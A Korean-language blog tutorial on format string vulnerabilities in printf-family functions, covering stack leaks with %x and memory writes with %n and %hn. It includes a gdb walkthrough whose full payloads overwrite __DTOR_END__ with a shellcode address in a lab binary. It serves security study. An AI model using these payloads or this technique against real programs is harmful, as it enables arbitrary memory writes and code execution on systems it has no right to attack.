Post

FSB, Format String Attack/Bug

#1 %08x / n$

%x보다 %08x를 사용하는 편이 보기도 좋고, 출력 문자 개수 맞추기도 편하다. %hn이전에 선행 출력 문자 개수를 만들 때도 c %\*x || %\*d를 사용한다.

+ 특정 위치 데이터를 출력하려면 n$ 이용한다.

#2 %hn

%n이 작용하는 순간 그 위치 포함 +4 bytes가 0으로 초기화 되면서 값이 써진다. 그래서 %n으로 쓰려면 하위주소 부터 쓰고 상위주소를 써야 이후에 쓰는 %n이 이전에 쓴 하위 2 bytes 값을 덮어 쓰지 않는다. 그러나 이렇게 하위주소 부터 쓰고 상위주소를 써도, 4 bytes를 잡고 쓰게 되므로 다음 2 bytes를 덮어 써서 그 부분의 데이터가 손실된다.

따라서 %hn을 사용해 2 bytes 씩 쓰는 것이 좋다.

하위 2 bytes와 상위 2 bytes를 나눠서 쓸 때는 처음부터 lower + %x작용 지점 + upper 12 bytes를 입력해 놓고 시작해야 계산하기 수월하다.

terminology

형식지정자 : format specifier printf 계열의 인자들 중에 파싱되는 문자열 혹은 변수 : format string (pointer) %*x에서 * : width field

FSB

일반적으로 함수를 호출할 때, call 하기 전에 호출 대상 함수에서 사용할 argument를 뒤에서 부터 push한 다음 call하게 된다. printf 계열을 호출 할 때도 마찬가지다. printf 계열은 format string을 파싱하다 형식지정자를 만나게 되면 데이터를 차례대로 pop하여 이를 형식대로 출력하는데, 이 때문에 유저가 입력한 데이터를 format string으로 바로 사용하게 되면 문제가 발생할 수 있다. 형식지정자에 대한 변수를 인자로 넘기지 않은채로(push 하지 않은 채로) format string에 형식지정자를 적어서 넘기게 되면, call하기 전에 push해 놓았을 거라 생각하고 stack상의 format string pointer 저장 위치 다음 부분을 차례로 출력한다.

vul.c:

x와 buf에 저장되어있는 데이터를 출력해 보도록 했다.

이런식으로 %x를 printf의 인자인 buf에 입력하면, printf가 buf를 파싱하면서 %x를 만날 때 마다 stack의 data가 차례로 pop되어 출력된다. x(=1)와 buf (41414141…)가 보인다.

* x를 먼저 선언했으니 x가 buf보다 stack의 아래부분에 있을 것 같지만, 꼭 먼저 선언했다고 stack에 먼저 들어가게 되는건 아니다. 컴파일러가 확장해야 할 공간을 계산해서 한꺼번에 확장하고 사용하기 때문.

%n format specifier

이 방법을 응용해 원하는 위치에 데이터를 쓰기 위해서는 format specifier %n을 이용해야 한다. 변수의 값을 읽어와 출력 형식을 지정하는 다른 형식지정자와는 반대로, %n은 선행 출력되는 문자의 개수를 변수에 저장한다.

Note ) %n을 파싱하는 순간의 esp 위치에 값을 쓰는 것이 아니라, esp 위치에 저장되어있는 주소가 가리키는 곳에 쓰기가 일어난다.

e.g. 1 : variable x

데이터를 쓸 곳 x의 주소 확인.

이 값을 buf에 입력하기 전에, 형식지정자를 몇번이나 출력해야 변수 x의 위치에 도달할 수 있는지 확인.

먼저 ecx를 push하고, stack을 0x64만큼 확장했으므로 esp는 ebp기준 0x68만큼 확장했다. ebp-0x4c에 x가 있다. ebp-0x48에 buf가 있다. printf하기 전 0xc만큼 확장하고 push eax했으므로 0x10만큼 확장했다. printf하기 직전 esp는 ebp-0x78이다. 이를 바탕으로 stack layout을 그려보면 다음과 같다.

  
ebp 상대 주소layout
-0x78format string pointer
-0x4cx
  
-0x48buf
 ecx
 sfp
 ret

printf가 형식지정자를 만나면 format string pointer 바로 다음 주소(0x74)부터 pop하게 된다. 따라서 x 위치 직전까지 도달하기 위해 출력해야 하는 형식지정자의 개수는 0x74 - 0x4c = 0x28이므로 10개. 11번째 형식지정자를 사용하면 x값이 출력된다.

11번째 %x의 출력에서 x 값을 확인할 수 있다. 위에 기술한 대로 x 바로 아래 buf가 위치해 있기 때문에, 그 아래에 AAAA(41414141)를 확인할 수 있다.

아까 확인한 x의 주소를 buf에 입력했다. 13번째 %x의 위치에 잘 들어갔다. 이제 남은 것은 삽입한 x의 주소 위치에서 %n이 동작하도록 하면 되므로, 13번째 %x를 %n으로 바꾸면 된다.

x=82로 변경되었다.

위에 출력된 11번째 %x가 그대로 1인 것은 %n을 파싱하기 전에 출력되었기 때문이다.

이런 식으로 %\*d( width field )를 이용하면 출력 문자 개수를 쉽게 조절할 수 있어 큰 값을 쓸 수 있다.

그러나 0xbfff...같이 양의 정수 최댓값을 넘어가는(=MSB가 1인) hex값일 경우, -를 입력할 수는 없으므로 상위 2byte와 하위 2byte를 각각 입력해야 한다.

e.g. 2 : [ dtors , dtor ]

FSB를 이용해 \_\_DTOR\_END\__에 쉘코드 주소를 써서 프로그램이 종료되면서 쉘코드를 실행하게 했다. * \_\_DTOR\_END\__는 소멸자로 프로그램이 종료되기 전에 여기에 명시되어 있는 주소(함수)가 호출된다.

1
2
0xbfffff97                 // shellcode 위치 ( 환경변수 )
080495f4 d \_\_DTOR\_END\_\_

*__DTOR_END__의 위치는 nm을 사용해도 좋고 readelf나 objdump로 확인해도 좋다.

따라서 0xbfffff97을 0x080495f4에 쓰면 되는데, NOP를 고려해서 0xbfffffa0을 쓰기로 했으며, 양의 정수 최댓값을 넘어가는 수 이므로 상위 2BYTE, 하위 2BYTE로 나눠 쓰기로 했다. 그래서 lower +%x작용지점+upper == (\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08)를 입력해 놓았다.

1
2
3
4
5
6
7
8
9
10
11
12
(gdb)  r `perl -e 'print "\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08", "/%08x"x2, "/%08x", "%hn"'`


  

Breakpoint 2, 0x0804843c in main () // call printf지점.
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>:       0x00000000      0x00000000      0x08049520     0x40015a38
(gdb) ni
0x08048441 in main ()
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>:       0x00000027      0x00000000      0x08049520     0x40015a38

%hn전까지 출력된 데이터 길이 = c 12 (주소+AAAA+주소) + 3 (/ 3개출력) + 24 (%08x 3개출력) = 39(0x27) 이므로 0x0027이 잘 들어간 것을 확인할 수 있다. 하위 2BYTE부터 삽입할텐데, 하위주소를 삽입하기 위해 입력해야 하는 width field 값은 다음과 같다. W = 삽입할 값 - %hn 전까지 출력된 데이터 길이 + %n직전의 %\*x의 width field 값

1
2
(gdb) p 0xffa0-39+8
$1 = 65409

Note ) %n직전의 c %x를 사용하지 않고 %x를 추가로 하나 더 써버리면 %n이 작용하는 위치가 틀어지게 되므로, %n직전의 c %x를 사용한다.)

1
2
3
4
(gdb) r `perl -e 'print "\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08", "/%08x"x2, "/%65409x", "%hn"'`
...
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>:       0x0000ffa0      0x00000000      0x08049520     0x40015a38

0xffa0이 제대로 들어갔다. 상위 2BYTE를 삽입하기 위해 입력해야 하는 width field는 하위 2BYTE + W = 삽입할 상위 2BYTE 이므로 W = 상위 2BYTE - 하위 2BYTE

1
2
(gdb) p 0xbfff-0xffa0
$2 = -16289

음수가 나오는 경우, 앞에 1을 붙여준다.

1
2
(gdb) p 0x1bfff-0xffa0
$3 = 49247
1
2
3
4
(gdb) r `perl -e 'print "\xf4\x95\x04\x08AAAA\xf6\x95\x04\x08", "/%08x"x2, "/%65409x", "%hn", "%49247x", "%hn"'`
...
(gdb) x/4x 0x080495f4
0x80495f4 <\_\_DTOR\_END\_\_>:       0xbfffffa0      0x00000000      0x08049520     0x40015a38

0xbfff도 잘 들어가서 0xbfffffa0이 완성되었다.

summary

  1. 데이터를 쓸 위치의 주소를 printf()계열의 파라미터로 넘길 수 있어야 한다.
  2. 형식지정자를 적당히 사용해 데이터를 쓸 위치의 주소를 입력해둔 곳까지 esp를 내린 후 %n이 동작하도록 해야 한다.
  3. %n은 선행 출력된 문자의 개수를 저장하므로 원하는 값을 삽입하기 위해 선행 출력 문자 개수를 조정한다.
Format strings vulnerability printf family
  • printf
  • fprintf
  • sprintf
  • vprintf
  • snprintf
  • vsprintf
  • vsnprintf
  • vfprintf 사실 대부분의 printf 계열에 존재하는데, 함수 자체가 문제라기 보다는 형식지정자를 사용 안하고 유저 입력 데이터가 바로 format string이 되는 것이 문제이기 때문이다.

This post is licensed under CC BY 4.0 by the author.